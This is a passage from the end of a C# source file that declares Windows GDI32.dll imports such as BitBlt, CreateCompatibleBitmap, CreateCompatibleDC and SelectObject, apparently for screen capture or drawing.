        int nWidth,
        int nHeight,
        int hdcSrc,
        int nXSrc,
        int nYSrc,
        int dwRop);

      [DllImport("GDI32.dll")]
      public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight);

      [DllImport("GDI32.dll")]
      public static extern int CreateCompatibleDC(int hdc);

      [DllImport("GDI32.dll")]
      public static extern bool DeleteDC(int hdc);

      [DllImport("GDI32.dll")]
      public static extern bool DeleteObject(int hObject);

      [DllImport("GDI32.dll")]
      public static extern int GetDeviceCaps(int hdc, int nIndex);

      [DllImport("GDI32.dll")]
      public static extern int SelectObject(int hdc, int hgdiobj);
    }
  }
}
